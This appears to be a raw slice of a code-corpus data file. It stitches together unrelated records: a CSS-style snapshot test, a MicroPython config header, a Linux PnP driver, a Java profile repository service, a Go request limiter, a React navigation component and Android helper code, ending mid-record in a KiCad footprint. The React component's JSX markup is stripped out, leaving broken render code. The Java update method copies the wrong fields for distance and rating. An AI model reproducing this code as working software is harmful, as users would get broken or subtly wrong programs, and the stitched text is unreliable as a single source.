'break-word',\n overflowX: 'visible',\n overflowY: 'visible',\n padding: '0px',\n paddingBottom: '0px',\n paddingLeft: '0px',\n paddingRight: '0px',\n paddingTop: '0px',\n page: '',\n pageBreakAfter: 'auto',\n pageBreakBefore: 'auto',\n pageBreakInside: 'auto',\n paintOrder: 'fill stroke markers',\n perspective: 'none',\n perspectiveOrigin: '150px 37px',\n placeContent: 'normal normal',\n placeItems: 'normal normal',\n placeSelf: 'normal normal',\n pointerEvents: 'auto',\n position: 'relative',\n quotes: '',\n r: '0px',\n resize: 'none',\n right: '0px',\n rx: 'auto',\n ry: 'auto',\n shapeImageThreshold: '0',\n shapeMargin: '0px',\n shapeOutside: 'none',\n shapeRendering: 'auto',\n size: '',\n speak: 'normal',\n src: '',\n stopColor: 'rgb(0, 0, 0)',\n stopOpacity: '1',\n stroke: 'none',\n strokeDasharray: 'none',\n strokeDashoffset: '0px',\n strokeLinecap: 'butt',\n strokeLinejoin: 'miter',\n strokeMiterlimit: '4',\n strokeOpacity: '1',\n strokeWidth: '1px',\n tabSize: '8',\n tableLayout: 'auto',\n textAlign: 'start',\n textAlignLast: 'auto',\n textAnchor: 'start',\n textCombineUpright: 'none',\n textDecoration: 'none solid rgb(36, 41, 46)',\n textDecorationColor: 'rgb(36, 41, 46)',\n textDecorationLine: 'none',\n textDecorationSkip: 'objects',\n textDecorationStyle: 'solid',\n textIndent: '0px',\n textOrientation: 'mixed',\n textOverflow: 'clip',\n textRendering: 'auto',\n textShadow: 'none',\n textSizeAdjust: '100%',\n textTransform: 'none',\n textUnderlinePosition: 'auto',\n top: '0px',\n touchAction: 'auto',\n transform: 'none',\n transformStyle: 'flat',\n transition: 'all 0s ease 0s',\n transitionDelay: '0s',\n transitionDuration: '0s',\n transitionProperty: 'all',\n transitionTimingFunction: 'ease',\n unicodeBidi: 'normal',\n unicodeRange: '',\n userSelect: 'none',\n userZoom: '',\n vectorEffect: 'none',\n verticalAlign: 'middle',\n visibility: 'visible',\n webkitAppRegion: 'no-drag',\n webkitAppearance: 'none',\n webkitBackgroundClip: 'border-box',\n webkitBackgroundOrigin: 'padding-box',\n webkitBorderAfter: '0px none rgb(36, 41, 46)',\n webkitBorderAfterColor: 'rgb(36, 41, 46)',\n webkitBorderAfterStyle: 'none',\n webkitBorderAfterWidth: '0px',\n webkitBorderBefore: '0px none rgb(36, 41, 46)',\n webkitBorderBeforeColor: 'rgb(36, 41, 46)',\n webkitBorderBeforeStyle: 'none',\n webkitBorderBeforeWidth: '0px',\n webkitBorderEnd: '0px none rgb(36, 41, 46)',\n webkitBorderEndColor: 'rgb(36, 41, 46)',\n webkitBorderEndStyle: 'none',\n webkitBorderEndWidth: '0px',\n webkitBorderHorizontalSpacing: '0px',\n webkitBorderImage: 'none',\n webkitBorderStart: '0px none rgb(36, 41, 46)',\n webkitBorderStartColor: 'rgb(36, 41, 46)',\n webkitBorderStartStyle: 'none',\n webkitBorderStartWidth: '0px',\n webkitBorderVerticalSpacing: '0px',\n webkitBoxAlign: 'stretch',\n webkitBoxDecorationBreak: 'slice',\n webkitBoxDirection: 'normal',\n webkitBoxFlex: '0',\n webkitBoxFlexGroup: '1',\n webkitBoxLines: 'single',\n webkitBoxOrdinalGroup: '1',\n webkitBoxOrient: 'horizontal',\n webkitBoxPack: 'start',\n webkitBoxReflect: 'none',\n webkitColumnBreakAfter: 'auto',\n webkitColumnBreakBefore: 'auto',\n webkitColumnBreakInside: 'auto',\n webkitFontSizeDelta: '',\n webkitFontSmoothing: 'auto',\n webkitHighlight: 'none',\n webkitHyphenateCharacter: 'auto',\n webkitLineBreak: 'auto',\n webkitLineClamp: 'none',\n webkitLogicalHeight: '74px',\n webkitLogicalWidth: '300px',\n webkitMarginAfter: '0px',\n webkitMarginAfterCollapse: 'collapse',\n webkitMarginBefore: '0px',\n webkitMarginBeforeCollapse: 'collapse',\n webkitMarginBottomCollapse: 'collapse',\n webkitMarginCollapse: '',\n webkitMarginEnd: '0px',\n webkitMarginStart: '0px',\n webkitMarginTopCollapse: 'collapse',\n webkitMask: '',\n webkitMaskBoxImage: 'none',\n webkitMaskBoxImageOutset: '0px',\n webkitMaskBoxImageRepeat: 'stretch',\n webkitMaskBoxImageSlice: '0 fill',\n webkitMaskBoxImageSource: 'none',\n webkitMaskBoxImageWidth: 'auto',\n webkitMaskClip: 'border-box',\n webkitMaskComposite: 'source-over',\n webkitMaskImage: 'none',\n webkitMaskOrigin: 'border-box',\n webkitMaskPosition: '0% 0%',\n webkitMaskPositionX: '0%',\n webkitMaskPositionY: '0%',\n webkitMaskRepeat: 'repeat',\n webkitMaskRepeatX: '',\n webkitMaskRepeatY: '',\n webkitMaskSize: 'auto',\n webkitMaxLogicalHeight: 'none',\n webkitMaxLogicalWidth: 'none',\n webkitMinLogicalHeight: '0px',\n webkitMinLogicalWidth: '0px',\n webkitPaddingAfter: '0px',\n webkitPaddingBefore: '0px',\n webkitPaddingEnd: '0px',\n webkitPaddingStart: '0px',\n webkitPerspectiveOriginX: '',\n webkitPerspectiveOriginY: '',\n webkitPrintColorAdjust: 'economy',\n webkitRtlOrdering: 'logical',\n webkitRubyPosition: 'before',\n webkitTextCombine: 'none',\n webkitTextDecorationsInEffect: 'none',\n webkitTextEmphasis: '',\n webkitTextEmphasisColor: 'rgb(36, 41, 46)',\n webkitTextEmphasisPosition: 'over',\n webkitTextEmphasisStyle: 'none',\n webkitTextFillColor: 'rgb(36, 41, 46)',\n webkitTextOrientation: 'vertical-right',\n webkitTextSecurity: 'none',\n webkitTextStroke: '',\n webkitTextStrokeColor: 'rgb(36, 41, 46)',\n webkitTextStrokeWidth: '0px',\n webkitTransformOriginX: '',\n webkitTransformOriginY: '',\n webkitTransformOriginZ: '',\n webkitUserDrag: 'auto',\n webkitUserModify: 'read-only',\n webkitWritingMode: 'horizontal-tb',\n whiteSpace: 'normal',\n widows: '2',\n width: '300px',\n willChange: 'auto',\n wordBreak: 'normal',\n wordSpacing: '0px',\n wordWrap: 'break-word',\n writingMode: 'horizontal-tb',\n x: '0px',\n y: '0px',\n zIndex: '1',\n zoom: '1',\n },\n }\n\n## state\n\n> Snapshot 1\n\n {\n default: {\n '.itemlist|undefined|border-color': 'rgb(230, 230, 230)',\n 'undefined|undefined|-webkit-user-select': 'none',\n 'undefined|undefined|background-color': 'rgba(0, 0, 0, 0)',\n 'undefined|undefined|cursor': 'auto',\n },\n state_ndr: {\n disabled: {\n '.itemlist|undefined|border-color': 'rgb(166, 166, 166)',\n 'undefined|undefined|-webkit-user-select': 'none',\n 'undefined|undefined|background-color': 'rgba(0, 0, 0, 0)',\n 'undefined|undefined|cursor': 'auto',\n },\n normal: {\n '.itemlist|undefined|border-color': 'rgb(230, 230, 230)',\n 'undefined|undefined|-webkit-user-select': 'none',\n 'undefined|undefined|background-color': 'rgba(0, 0, 0, 0)',\n 'undefined|undefined|cursor': 'auto',\n },\n readonly: {\n '.itemlist|undefined|border-color': 'rgb(166, 166, 166)',\n 'undefined|undefined|-webkit-user-select': 'none',\n 'undefined|undefined|background-color': 'rgba(0, 0, 0, 0)',\n 'undefined|undefined|cursor': 'auto',\n },\n },\n }\n"} +{"text": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n// options to control how MicroPython is built\n\n// Prevent the rest of the default mpconfigport.h being used.\n#define MICROPY_UNIX_MINIMAL (1)\n\n#define MICROPY_ALLOC_QSTR_CHUNK_INIT (64)\n#define MICROPY_ALLOC_PARSE_RULE_INIT (8)\n#define MICROPY_ALLOC_PARSE_RULE_INC (8)\n#define MICROPY_ALLOC_PARSE_RESULT_INIT (8)\n#define MICROPY_ALLOC_PARSE_RESULT_INC (8)\n#define MICROPY_ALLOC_PARSE_CHUNK_INIT (64)\n#define MICROPY_ALLOC_PATH_MAX (PATH_MAX)\n#define MICROPY_ENABLE_GC (1)\n#define MICROPY_GC_ALLOC_THRESHOLD (0)\n#define MICROPY_ENABLE_FINALISER (0)\n#define MICROPY_STACK_CHECK (0)\n#define MICROPY_COMP_CONST (0)\n#define MICROPY_MEM_STATS (0)\n#define MICROPY_DEBUG_PRINTERS (0)\n#define MICROPY_READER_POSIX (1)\n#define MICROPY_HELPER_REPL (1)\n#define MICROPY_HELPER_LEXER_UNIX (1)\n#define MICROPY_ENABLE_SOURCE_LINE (0)\n#define MICROPY_ERROR_REPORTING (MICROPY_ERROR_REPORTING_TERSE)\n#define MICROPY_WARNINGS (0)\n#define MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF (0)\n#define MICROPY_KBD_EXCEPTION (1)\n#define MICROPY_FLOAT_IMPL (MICROPY_FLOAT_IMPL_NONE)\n#define MICROPY_LONGINT_IMPL (MICROPY_LONGINT_IMPL_NONE)\n#define MICROPY_STREAMS_NON_BLOCK (0)\n#define MICROPY_OPT_COMPUTED_GOTO (0)\n#define MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE (0)\n#define MICROPY_CAN_OVERRIDE_BUILTINS (0)\n#define MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG (0)\n#define MICROPY_CPYTHON_COMPAT (0)\n#define MICROPY_PY_BUILTINS_BYTEARRAY (0)\n#define MICROPY_PY_BUILTINS_MEMORYVIEW (0)\n#define MICROPY_PY_BUILTINS_COMPILE (0)\n#define MICROPY_PY_BUILTINS_ENUMERATE (0)\n#define MICROPY_PY_BUILTINS_FILTER (0)\n#define MICROPY_PY_BUILTINS_FROZENSET (0)\n#define MICROPY_PY_BUILTINS_REVERSED (0)\n#define MICROPY_PY_BUILTINS_SET (0)\n#define MICROPY_PY_BUILTINS_SLICE (0)\n#define MICROPY_PY_BUILTINS_STR_COUNT (0)\n#define MICROPY_PY_BUILTINS_STR_OP_MODULO (0)\n#define MICROPY_PY_BUILTINS_STR_UNICODE (0)\n#define MICROPY_PY_BUILTINS_PROPERTY (0)\n#define MICROPY_PY_BUILTINS_MIN_MAX (0)\n#define MICROPY_PY___FILE__ (0)\n#define MICROPY_PY_MICROPYTHON_MEM_INFO (0)\n#define MICROPY_PY_GC (0)\n#define MICROPY_PY_GC_COLLECT_RETVAL (0)\n#define MICROPY_PY_ARRAY (0)\n#define MICROPY_PY_COLLECTIONS (0)\n#define MICROPY_PY_MATH (0)\n#define MICROPY_PY_CMATH (0)\n#define MICROPY_PY_IO (0)\n#define MICROPY_PY_IO_FILEIO (0)\n#define MICROPY_PY_STRUCT (0)\n#define MICROPY_PY_SYS (1)\n#define MICROPY_PY_SYS_EXIT (0)\n#define MICROPY_PY_SYS_PLATFORM \"linux\"\n#define MICROPY_PY_SYS_MAXSIZE (0)\n#define MICROPY_PY_SYS_STDFILES (0)\n#define MICROPY_PY_CMATH (0)\n#define MICROPY_PY_UCTYPES (0)\n#define MICROPY_PY_UTIME (0)\n#define MICROPY_PY_UZLIB (0)\n#define MICROPY_PY_UJSON (0)\n#define MICROPY_PY_URE (0)\n#define MICROPY_PY_UHEAPQ (0)\n#define MICROPY_PY_UHASHLIB (0)\n#define MICROPY_PY_UBINASCII (0)\n\nextern const struct _mp_obj_module_t mp_module_os;\n\n#define MICROPY_PORT_BUILTIN_MODULES \\\n { MP_ROM_QSTR(MP_QSTR_uos), MP_ROM_PTR(&mp_module_os) }, \\\n\n#define MICROPY_PORT_ROOT_POINTERS \\\n\n//////////////////////////////////////////\n// Do not change anything beyond this line\n//////////////////////////////////////////\n\n#if !(defined(MICROPY_GCREGS_SETJMP) || defined(__x86_64__) || defined(__i386__) || defined(__thumb2__) || defined(__thumb__) || defined(__arm__))\n// Fall back to setjmp() implementation for discovery of GC pointers in registers.\n#define MICROPY_GCREGS_SETJMP (1)\n#endif\n\n// type definitions for the specific machine\n\n#ifdef __LP64__\ntypedef long mp_int_t; // must be pointer size\ntypedef unsigned long mp_uint_t; // must be pointer size\n#else\n// These are definitions for machines where sizeof(int) == sizeof(void*),\n// regardless for actual size.\ntypedef int mp_int_t; // must be pointer size\ntypedef unsigned int mp_uint_t; // must be pointer size\n#endif\n\n// Cannot include , as it may lead to symbol name clashes\n#if _FILE_OFFSET_BITS == 64 && !defined(__LP64__)\ntypedef long long mp_off_t;\n#else\ntypedef long mp_off_t;\n#endif\n\n// We need to provide a declaration/definition of alloca()\n#ifdef __FreeBSD__\n#include \n#else\n#include \n#endif\n"} +{"text": "/*\n * driver.c - device id matching, driver model, etc.\n *\n * Copyright 2002 Adam Belay \n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \"base.h\"\n\nstatic int compare_func(const char *ida, const char *idb)\n{\n\tint i;\n\n\t/* we only need to compare the last 4 chars */\n\tfor (i = 3; i < 7; i++) {\n\t\tif (ida[i] != 'X' &&\n\t\t idb[i] != 'X' && toupper(ida[i]) != toupper(idb[i]))\n\t\t\treturn 0;\n\t}\n\treturn 1;\n}\n\nint compare_pnp_id(struct pnp_id *pos, const char *id)\n{\n\tif (!pos || !id || (strlen(id) != 7))\n\t\treturn 0;\n\tif (memcmp(id, \"ANYDEVS\", 7) == 0)\n\t\treturn 1;\n\twhile (pos) {\n\t\tif (memcmp(pos->id, id, 3) == 0)\n\t\t\tif (compare_func(pos->id, id) == 1)\n\t\t\t\treturn 1;\n\t\tpos = pos->next;\n\t}\n\treturn 0;\n}\n\nstatic const struct pnp_device_id *match_device(struct pnp_driver *drv,\n\t\t\t\t\t\tstruct pnp_dev *dev)\n{\n\tconst struct pnp_device_id *drv_id = drv->id_table;\n\n\tif (!drv_id)\n\t\treturn NULL;\n\n\twhile (*drv_id->id) {\n\t\tif (compare_pnp_id(dev->id, drv_id->id))\n\t\t\treturn drv_id;\n\t\tdrv_id++;\n\t}\n\treturn NULL;\n}\n\nint pnp_device_attach(struct pnp_dev *pnp_dev)\n{\n\tspin_lock(&pnp_lock);\n\tif (pnp_dev->status != PNP_READY) {\n\t\tspin_unlock(&pnp_lock);\n\t\treturn -EBUSY;\n\t}\n\tpnp_dev->status = PNP_ATTACHED;\n\tspin_unlock(&pnp_lock);\n\treturn 0;\n}\n\nvoid pnp_device_detach(struct pnp_dev *pnp_dev)\n{\n\tspin_lock(&pnp_lock);\n\tif (pnp_dev->status == PNP_ATTACHED)\n\t\tpnp_dev->status = PNP_READY;\n\tspin_unlock(&pnp_lock);\n\tpnp_disable_dev(pnp_dev);\n}\n\nstatic int pnp_device_probe(struct device *dev)\n{\n\tint error;\n\tstruct pnp_driver *pnp_drv;\n\tstruct pnp_dev *pnp_dev;\n\tconst struct pnp_device_id *dev_id = NULL;\n\tpnp_dev = to_pnp_dev(dev);\n\tpnp_drv = to_pnp_driver(dev->driver);\n\n\terror = pnp_device_attach(pnp_dev);\n\tif (error < 0)\n\t\treturn error;\n\n\tif (pnp_dev->active == 0) {\n\t\tif (!(pnp_drv->flags & PNP_DRIVER_RES_DO_NOT_CHANGE)) {\n\t\t\terror = pnp_activate_dev(pnp_dev);\n\t\t\tif (error < 0)\n\t\t\t\treturn error;\n\t\t}\n\t} else if ((pnp_drv->flags & PNP_DRIVER_RES_DISABLE)\n\t\t == PNP_DRIVER_RES_DISABLE) {\n\t\terror = pnp_disable_dev(pnp_dev);\n\t\tif (error < 0)\n\t\t\treturn error;\n\t}\n\terror = 0;\n\tif (pnp_drv->probe) {\n\t\tdev_id = match_device(pnp_drv, pnp_dev);\n\t\tif (dev_id != NULL)\n\t\t\terror = pnp_drv->probe(pnp_dev, dev_id);\n\t}\n\tif (error >= 0) {\n\t\tpnp_dev->driver = pnp_drv;\n\t\terror = 0;\n\t} else\n\t\tgoto fail;\n\n\treturn error;\n\nfail:\n\tpnp_device_detach(pnp_dev);\n\treturn error;\n}\n\nstatic int pnp_device_remove(struct device *dev)\n{\n\tstruct pnp_dev *pnp_dev = to_pnp_dev(dev);\n\tstruct pnp_driver *drv = pnp_dev->driver;\n\n\tif (drv) {\n\t\tif (drv->remove)\n\t\t\tdrv->remove(pnp_dev);\n\t\tpnp_dev->driver = NULL;\n\t}\n\tpnp_device_detach(pnp_dev);\n\treturn 0;\n}\n\nstatic void pnp_device_shutdown(struct device *dev)\n{\n\tstruct pnp_dev *pnp_dev = to_pnp_dev(dev);\n\tstruct pnp_driver *drv = pnp_dev->driver;\n\n\tif (drv && drv->shutdown)\n\t\tdrv->shutdown(pnp_dev);\n}\n\nstatic int pnp_bus_match(struct device *dev, struct device_driver *drv)\n{\n\tstruct pnp_dev *pnp_dev = to_pnp_dev(dev);\n\tstruct pnp_driver *pnp_drv = to_pnp_driver(drv);\n\n\tif (match_device(pnp_drv, pnp_dev) == NULL)\n\t\treturn 0;\n\treturn 1;\n}\n\nstatic int pnp_bus_suspend(struct device *dev, pm_message_t state)\n{\n\tstruct pnp_dev *pnp_dev = to_pnp_dev(dev);\n\tstruct pnp_driver *pnp_drv = pnp_dev->driver;\n\tint error;\n\n\tif (!pnp_drv)\n\t\treturn 0;\n\n\tif (pnp_drv->suspend) {\n\t\terror = pnp_drv->suspend(pnp_dev, state);\n\t\tif (error)\n\t\t\treturn error;\n\t}\n\n\tif (pnp_can_disable(pnp_dev)) {\n\t\terror = pnp_stop_dev(pnp_dev);\n\t\tif (error)\n\t\t\treturn error;\n\t}\n\n\tif (pnp_dev->protocol->suspend)\n\t\tpnp_dev->protocol->suspend(pnp_dev, state);\n\treturn 0;\n}\n\nstatic int pnp_bus_resume(struct device *dev)\n{\n\tstruct pnp_dev *pnp_dev = to_pnp_dev(dev);\n\tstruct pnp_driver *pnp_drv = pnp_dev->driver;\n\tint error;\n\n\tif (!pnp_drv)\n\t\treturn 0;\n\n\tif (pnp_dev->protocol->resume) {\n\t\terror = pnp_dev->protocol->resume(pnp_dev);\n\t\tif (error)\n\t\t\treturn error;\n\t}\n\n\tif (pnp_can_write(pnp_dev)) {\n\t\terror = pnp_start_dev(pnp_dev);\n\t\tif (error)\n\t\t\treturn error;\n\t}\n\n\tif (pnp_drv->resume) {\n\t\terror = pnp_drv->resume(pnp_dev);\n\t\tif (error)\n\t\t\treturn error;\n\t}\n\n\treturn 0;\n}\n\nstruct bus_type pnp_bus_type = {\n\t.name = \"pnp\",\n\t.match = pnp_bus_match,\n\t.probe = pnp_device_probe,\n\t.remove = pnp_device_remove,\n\t.shutdown = pnp_device_shutdown,\n\t.suspend = pnp_bus_suspend,\n\t.resume = pnp_bus_resume,\n\t.dev_attrs = pnp_interface_attrs,\n};\n\nint pnp_register_driver(struct pnp_driver *drv)\n{\n\tdrv->driver.name = drv->name;\n\tdrv->driver.bus = &pnp_bus_type;\n\n\treturn driver_register(&drv->driver);\n}\n\nvoid pnp_unregister_driver(struct pnp_driver *drv)\n{\n\tdriver_unregister(&drv->driver);\n}\n\n/**\n * pnp_add_id - adds an EISA id to the specified device\n * @dev: pointer to the desired device\n * @id: pointer to an EISA id string\n */\nstruct pnp_id *pnp_add_id(struct pnp_dev *dev, const char *id)\n{\n\tstruct pnp_id *dev_id, *ptr;\n\n\tdev_id = kzalloc(sizeof(struct pnp_id), GFP_KERNEL);\n\tif (!dev_id)\n\t\treturn NULL;\n\n\tdev_id->id[0] = id[0];\n\tdev_id->id[1] = id[1];\n\tdev_id->id[2] = id[2];\n\tdev_id->id[3] = tolower(id[3]);\n\tdev_id->id[4] = tolower(id[4]);\n\tdev_id->id[5] = tolower(id[5]);\n\tdev_id->id[6] = tolower(id[6]);\n\tdev_id->id[7] = '\\0';\n\n\tdev_id->next = NULL;\n\tptr = dev->id;\n\twhile (ptr && ptr->next)\n\t\tptr = ptr->next;\n\tif (ptr)\n\t\tptr->next = dev_id;\n\telse\n\t\tdev->id = dev_id;\n\n\treturn dev_id;\n}\n\nEXPORT_SYMBOL(pnp_register_driver);\nEXPORT_SYMBOL(pnp_unregister_driver);\nEXPORT_SYMBOL(pnp_device_attach);\nEXPORT_SYMBOL(pnp_device_detach);\n"} +{"text": "package io.swagger.repository;\n\nimport com.google.common.base.Preconditions;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport io.swagger.model.Profile;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport java.sql.Timestamp;\n\n@Service\npublic class UserRepositoryService {\n\n private static final Logger LOGGER = LoggerFactory.getLogger(UserRepositoryService.class);\n\n @Autowired\n private UserRepository userRepository;\n\n Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n\n public Profile update(Profile updateEntry) {\n long start = System.currentTimeMillis();\n Preconditions.checkNotNull(updateEntry, \"User profile cannot be null\");\n\n LOGGER.info(\"Updating user profile for user=%s\", updateEntry.getId());\n Profile existingUser = findOne(updateEntry.getId());\n if (existingUser == null) {\n throw new NullPointerException(\"Unable to locate user\");\n }\n\n existingUser.setTotalTrips(updateEntry.getTotalTrips() == null? existingUser.getTotalTrips() : updateEntry.getTotalTrips());\n existingUser.setTotalDistance(updateEntry.getTotalDistance() == null ? existingUser.getTotalTrips() : updateEntry.getTotalDistance());\n existingUser.setTotalTime(updateEntry.getTotalTime() == null ? existingUser.getTotalTime() : updateEntry.getTotalTime());\n existingUser.setHardStops(updateEntry.getHardStops() == null ? existingUser.getHardStops() : updateEntry.getHardStops());\n existingUser.setHardAccelerations(updateEntry.getHardAccelerations() == null ? existingUser.getHardAccelerations() : updateEntry.getHardAccelerations());\n existingUser.setFuelConsumption(updateEntry.getFuelConsumption() == null ? existingUser.getFuelConsumption() : updateEntry.getFuelConsumption());\n existingUser.setMaxSpeed(updateEntry.getMaxSpeed() == null ? existingUser.getMaxSpeed() : updateEntry.getMaxSpeed());\n existingUser.setRating(updateEntry.getRating() == null ? existingUser.getRating() : updateEntry.getRating());\n existingUser.setRating(updateEntry.getRanking() == null ? existingUser.getRanking() : updateEntry.getRanking());\n\n Profile userProfile = save(existingUser);\n long end = System.currentTimeMillis();\n long timeElapsed = end - start;\n\n LOGGER.info(\"Update method called: on {} and response time in ms: {}\", timestamp, timeElapsed);\n return userProfile;\n }\n\n public Profile save(Profile newProfile) {\n Preconditions.checkNotNull(newProfile, \"User profile cannot be null\");\n\n long start = System.currentTimeMillis();\n Profile userProfile = userRepository.save(newProfile);\n long end = System.currentTimeMillis();\n long timeElapsed = end - start;\n\n LOGGER.info(\"Save method called: on {} and response time in ms: {}\", timestamp, timeElapsed);\n return userProfile;\n }\n\n private Profile findOne(String Id) {\n Preconditions.checkNotNull(Id, \"User Id cannot be null\");\n return userRepository.findOne(Id);\n }\n\n}\n"} +{"text": "package limiter\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"sync/atomic\"\n)\n\ntype ConcurrencyLimiter struct {\n\tbackendHTTPHandler http.Handler\n\t/*\n\t\tWe keep two counters here in order to make it so that we can know when a request has gone to completed\n\t\tin the tests. We could wrap these up in a condvar, so there's no need to spinlock, but that seems overkill\n\t\tfor testing.\n\n\t\tThis is effectively a very fancy semaphore built for optimistic concurrency only, and with spinlocks. If\n\t\tyou want to add timeouts here / pessimistic concurrency, signaling needs to be added and/or a condvar esque\n\t\tsorta thing needs to be done to wake up waiters who are waiting post-spin.\n\n\t\tOtherwise, there's all sorts of futzing in order to make sure that the concurrency limiter handler\n\t\thas completed\n\t\tThe math works on overflow:\n\t\t\tvar x, y uint64\n\t\t\tx = (1 << 64 - 1)\n\t\t\ty = (1 << 64 - 1)\n\t\t\tx++\n\t\t\tfmt.Println(x)\n\t\t\tfmt.Println(y)\n\t\t\tfmt.Println(x - y)\n\t\tPrints:\n\t\t\t0\n\t\t\t18446744073709551615\n\t\t\t1\n\t*/\n\trequestsStarted uint64\n\trequestsCompleted uint64\n\n\tmaxInflightRequests uint64\n}\n\nfunc (cl *ConcurrencyLimiter) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\trequestsStarted := atomic.AddUint64(&cl.requestsStarted, 1)\n\tcompletedRequested := atomic.LoadUint64(&cl.requestsCompleted)\n\tif requestsStarted-completedRequested > cl.maxInflightRequests {\n\t\t// This is a failure pathway, and we do not want to block on the write to finish\n\t\tatomic.AddUint64(&cl.requestsCompleted, 1)\n\t\tw.WriteHeader(http.StatusTooManyRequests)\n\t\tfmt.Fprintf(w, \"Concurrent request limit exceeded. Max concurrent requests: %d\\n\", cl.maxInflightRequests)\n\t\treturn\n\t}\n\tcl.backendHTTPHandler.ServeHTTP(w, r)\n\tatomic.AddUint64(&cl.requestsCompleted, 1)\n}\n\n// NewConcurrencyLimiter creates a handler which limits the active number of active, concurrent\n// requests. If the concurrency limit is less than, or equal to 0, then it will just return the handler\n// passed to it.\nfunc NewConcurrencyLimiter(handler http.Handler, concurrencyLimit int) http.Handler {\n\tif concurrencyLimit <= 0 {\n\t\treturn handler\n\t}\n\n\treturn &ConcurrencyLimiter{\n\t\tbackendHTTPHandler: handler,\n\t\tmaxInflightRequests: uint64(concurrencyLimit),\n\t}\n}\n"} +{"text": "import * as React from 'react';\nimport * as cx from 'classnames';\nimport { SECTIONS } from './constants';\nimport { Localized } from '@fluent/react';\nimport { FlagIcon, LayersIcon, UsersIcon, HeartIcon } from '../../ui/icons';\n\nconst throttle = require('lodash.throttle');\n\nimport './nav.css';\n\ninterface Props {\n activeSection: string;\n navType: string;\n}\n\nconst MENU_SECTIONS: any[] = [\n [\n SECTIONS.WHY_COMMON_VOICE,\n ['menu1-active.png', 'menu1-inactive.png'],\n FlagIcon,\n { className: 'i1' },\n ],\n [\n SECTIONS.HOW_IT_WORKS,\n ['menu2-active.png', 'menu2-inactive.png'],\n LayersIcon,\n { className: 'i2' },\n ],\n // [\n // SECTIONS.PARTNERS,\n // ['menu3-active.png', 'menu3-inactive.png'],\n // UsersIcon,\n // { className: 'i3' },\n // ],\n [\n SECTIONS.GET_INVOLVED,\n ['menu4-active.png', 'menu4-inactive.png'],\n HeartIcon,\n { className: 'i4' },\n ],\n];\n\nconst Nav: React.ComponentType = React.memo((props: Props) => {\n const [mobileBottom, setMobileBottom] = React.useState(0);\n\n React.useEffect(() => {\n if (props.navType !== 'mobile') {\n return;\n }\n\n const updateMobileBottomPosition = throttle(() => {\n setMobileBottom(\n document.documentElement.clientHeight - window.innerHeight\n );\n });\n\n setTimeout(updateMobileBottomPosition, 0);\n\n window.addEventListener('resize', updateMobileBottomPosition);\n\n return () => {\n window.removeEventListener('resize', updateMobileBottomPosition);\n };\n }, []);\n\n const parentProps: any = {\n className: cx('nav', props.navType),\n };\n\n if (mobileBottom) {\n parentProps['style'] = { bottom: `${mobileBottom}px` };\n }\n\n return (\n
    \n {MENU_SECTIONS.map(\n ([\n key,\n [activeBg, inactiveBg],\n MobileIcon,\n { className, ...otherProps },\n ]) => (\n \n \n \n\n {props.navType === 'mobile' && (\n <>\n \n\n \n \n )}\n\n \n
    \n \n \n )\n )}\n
    \n );\n});\n\nexport default Nav;\n"} +{"text": "/*\n * Copyright (C) 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.lody.virtual.helper.collection;\n\nclass ContainerHelpers {\n static final int[] EMPTY_INTS = new int[0];\n static final long[] EMPTY_LONGS = new long[0];\n static final Object[] EMPTY_OBJECTS = new Object[0];\n\n public static int idealIntArraySize(int need) {\n return idealByteArraySize(need * 4) / 4;\n }\n\n public static int idealLongArraySize(int need) {\n return idealByteArraySize(need * 8) / 8;\n }\n\n public static int idealByteArraySize(int need) {\n for (int i = 4; i < 32; i++)\n if (need <= (1 << i) - 12)\n return (1 << i) - 12;\n\n return need;\n }\n\n public static boolean equal(Object a, Object b) {\n return a == b || (a != null && a.equals(b));\n }\n\n // This is Arrays.binarySearch(), but doesn't do any argument validation.\n static int binarySearch(int[] array, int size, int value) {\n int lo = 0;\n int hi = size - 1;\n\n while (lo <= hi) {\n int mid = (lo + hi) >>> 1;\n int midVal = array[mid];\n\n if (midVal < value) {\n lo = mid + 1;\n } else if (midVal > value) {\n hi = mid - 1;\n } else {\n return mid; // value found\n }\n }\n return ~lo; // value not present\n }\n\n static int binarySearch(long[] array, int size, long value) {\n int lo = 0;\n int hi = size - 1;\n\n while (lo <= hi) {\n final int mid = (lo + hi) >>> 1;\n final long midVal = array[mid];\n\n if (midVal < value) {\n lo = mid + 1;\n } else if (midVal > value) {\n hi = mid - 1;\n } else {\n return mid; // value found\n }\n }\n return ~lo; // value not present\n }\n}\n"} +{"text": "(module LED_Cree-XHP70_12V (layer F.Cu) 